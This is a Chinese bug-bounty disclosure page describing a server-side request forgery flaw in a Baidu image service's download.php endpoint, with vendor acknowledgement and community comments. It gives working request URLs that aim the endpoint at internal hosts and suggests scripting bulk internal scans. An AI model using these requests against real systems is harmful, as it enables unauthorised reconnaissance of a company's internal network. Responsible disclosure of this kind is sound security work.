内网编织者百度各业务内网来回编织

漏洞地址：http://app.image.baidu.com/photos/LOGIC/webapp/download.php?download_url=

http://app.image.baidu.com/photos/LOGIC/webapp/download.php?download_url=http://10.42.7.78

本来百度内网隔离就不严格，这里的话，其实可以写脚本批量跑了。。。

虽然此漏洞只能探测非200返回页面，但是可以摸清百度内网大部分web服务器开放端口、web程序类型等信息。。。 危害依然很大啦。。

如果再配合一些poc。。

再上一张内网系统截图

http://app.image.baidu.com/photos/LOGIC/webapp/download.php?download_url=http://hack.baidu.com/

好了。。 点到为止。。

·fix it

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2014-08-24 22:03

厂商回复：

感谢提交，我们已联系业务部门处理此问题。

最新状态：

暂无

1. 2014-08-24 09:36 | scanf ( 核心白帽子 | Rank:1694 漏洞数:237 | 。)

   0

   百度留名

   1# 回复此人

2. 2014-08-24 09:52 | 爱上平顶山 ( 核心白帽子 | Rank:3144 漏洞数:625 | [不戴帽子]异乡过客.曾就职于天朝某机构.IT...)

   0

   Good

   2# 回复此人

3. 2014-08-24 10:00 | diguoji ( 普通白帽子 | Rank:485 漏洞数:120 | 中国吉林长春,高考230分,现在家里务农。)

   0

   百度安全人员要加班了吧

   3# 回复此人

4. 2014-08-24 10:01 | U神 ( 核心白帽子 | Rank:1375 漏洞数:152 | 乌云核心菜鸟，此号处于联盟托管中....)

   0

   乌云对核心就是不一样

   4# 回复此人

5. 2014-08-24 11:34 | 3King ( 核心白帽子 | Rank:1158 漏洞数:96 | 【study at HNUST】非常感谢大家的关注~ 大...)

   0

   @U神 不是这样的啦~ 这些洞都是昨晚2点提交，早上审核人员统一审核的，并没有秒过哦~ 乌云在这一块现在是没有特权的~ 上面显示的提交时间，应该是审核通过的时间吧~

   5# 回复此人

6. 2014-08-24 15:52 | 专业种田 ( 核心白帽子 | Rank:1676 漏洞数:213 | 没有最专业的农民,只有更努力地耕耘..........)

   0

   又发力了

   6# 回复此人

7. 2014-08-25 09:10 | 无敌L.t.H ( 路人 | Rank:21 漏洞数:4 | ‮……肉肉捉活，亭长放解)

   0

   传说里面一大堆struts漏洞……

   7# 回复此人

8. 2014-08-25 10:42 | niliu ( 核心白帽子 | Rank:1803 漏洞数:235 | 逆流而上)

   0

   好久不见了

   8# 回复此人

9. 2014-08-27 08:55 | Bloodwolf ( 实习白帽子 | Rank:47 漏洞数:8 | whoami)

   0

   不敢提交漏洞的撸过。但是老子提交了洞，不验证或者验证不鸟的就说不是漏洞了？小坑啊神坑啊

   9# 回复此人